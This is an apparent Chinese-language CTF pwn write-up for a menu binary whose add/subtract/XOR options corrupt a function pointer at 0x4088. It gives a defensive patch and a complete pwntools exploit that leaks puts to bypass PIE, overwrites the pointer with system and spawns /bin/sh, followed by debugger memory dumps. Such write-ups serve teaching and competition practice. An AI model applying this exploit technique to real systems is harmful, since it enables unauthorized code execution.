安全措施
程序分析
首先是初始化程序,将 puts 放在了 bss 段 0x4088 的位置,具体查看汇编发现是直接把 puts 的函数地址放进去了。
主程序先接受一个 name 存在 0x4068 位置,然后执行 4 个选项的菜单循环。
选项 1、2、3 分别能够通过 +、-、^ 操作 0x40a0 之前的内存;选项 4 调用 0x4088 位置的函数,并传入 0x4060 的参数。
选项 1、2、3 只有运算符不同,这里只贴出加法部分,中间的循环那一段是垃圾代码,没有意义:
选项 4,原始逻辑是用 puts 输出 0x4068 位置的数据(即一开始输入的 name) ,后面可以利用这个 get shell。
Patch
把选项 4 调用的 0x4088 直接改成 puts 的地址即可。
使用 IDA 的 KeyPatch 插件,将原指令改为mov rax, puts
:
通过 Apply patches to 应用修改:
Exp
这里很容易想到需要修改 0x4088 存放的函数地址进行 get shell。
但是由于开启了 PIE,需要先 leak libc。
这里可以通过填充 0x4068-0x4088 之间的空白,然后通过选项 4 得到 puts 函数的地址,计算得到 libc 地址。
然后再打一个 system("/bin/sh") 来 get shell。
具体 exp 如下:
from pwn import *
debug = True
local_path = './pwn'
remote_path = 'xxxx'
remote_port = 10000
file = ELF(local_path)
libc = ELF('./libc.so.6')
# libc = file.libc
# ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path
if debug:
io = process(local_path)
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w',
'0', 'sp', '-V', '--title', 'gdb', 'bash', '-c']
# context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def z(a=''):
if debug:
gdb.attach(io, a)
if a == '':
raw_input()
else:
pass
def itob(n):
return str(n).encode()
def sa(a, b):
io.sendafter(a, b)
def sla(a, b):
io.sendlineafter(a, b)
def ru(a, d=False):
return io.recvuntil(a, drop=d)
def rl(k=True):
return io.recvline(keepends=k)
def add_into(addr, payload):
offset = (addr - 0x4060)//4 - 12
for i in range(len(payload)//4):
sla(b'what do you want to do\n', b'1')
sla(b'what do you want to choose\n', itob(offset))
beg = i*4
end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
add = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
sla(b'some add\n', itob(add))
offset += 1
def sub_into(addr, payload):
offset = (addr - 0x4060)//4 - 12
for i in range(len(payload)//4):
sla(b'what do you want to do\n', b'2')
sla(b'what do you want to choose\n', itob(offset))
beg = i*4
end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
add = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
sla(b'some add\n', itob(add))
offset += 1
def xor_into(addr, payload):
offset = (addr - 0x4060)//4 - 12
for i in range(len(payload)//4):
sla(b'what do you want to do\n', b'3')
sla(b'what do you want to choose\n', itob(offset))
beg = i*4
end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
xor = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
sla(b'some add\n', itob(xor))
offset += 1
def exp():
ogg = [0xe3afe, 0xe3b01, 0xe3b04]
sa(b'what is your name\n', b'/bin/sh'.ljust(0x10, b'a'))
# fill out 0x4078-0x4088 with b'a'
add_into(0x4078, b'a'*0x10)
# leak puts addr to get libc addr
sla(b'what do you want to do\n', b'4')
rl()
puts_addr = unpack(rl(False)[-6:].ljust(8, b'\0'))
log.info("puts addr: "+hex(puts_addr))
libc_addr = puts_addr - libc.symbols['puts']
log.info("libc addr: "+hex(libc_addr))
# modify 0x4068 to b'/bin/sh\0'
payload = b'\0'*7 + b'a'
xor_into(0x4068, payload)
# modify 0x4088 to system addr
system_addr = libc_addr + libc.sym['system']
log.info('system addr: ' + hex(system_addr))
offset = system_addr - puts_addr
if offset>0:
payload = pack(offset)
add_into(0x4088, payload)
else:
payload = pack(-offset)
sub_into(0x4088, payload)
# call system(b'/bin/sh\0') to get shell
sla(b'what do you want to do\n', b'4')
rl()
io.interactive()
if __name__ == '__main__':
exp()
0x4068-0x4098 内存变化过程如下:
00:0000│ 0x4068 ◂— '/bin/shaaaaaaaaa'
01:0008│ 0x4070 ◂— 'aaaaaaaa'
02:0010│ 0x4078 ◂— 0x0
03:0018│ 0x4080 ◂— 0x0
04:0020│ 0x4088 —▸ 0x7f1205375450 (puts) ◂— endbr64
00:0000│ 0x4068 ◂— 0x6168732f6e69622f ('/bin/sha')
01:0008│ 0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 2 skipped
04:0020│ 0x4088 —▸ 0x7fb455368450 (puts) ◂— endbr64
00:0000│ 0x4068 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 2 skipped
04:0020│ 0x4088 —▸ 0x7f206949b450 (puts) ◂— endbr64
00:0000│ 0x4068 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 2 skipped
04:0020│ 0x4088 —▸ 0x7f99264af2c0 (system) ◂— endbr64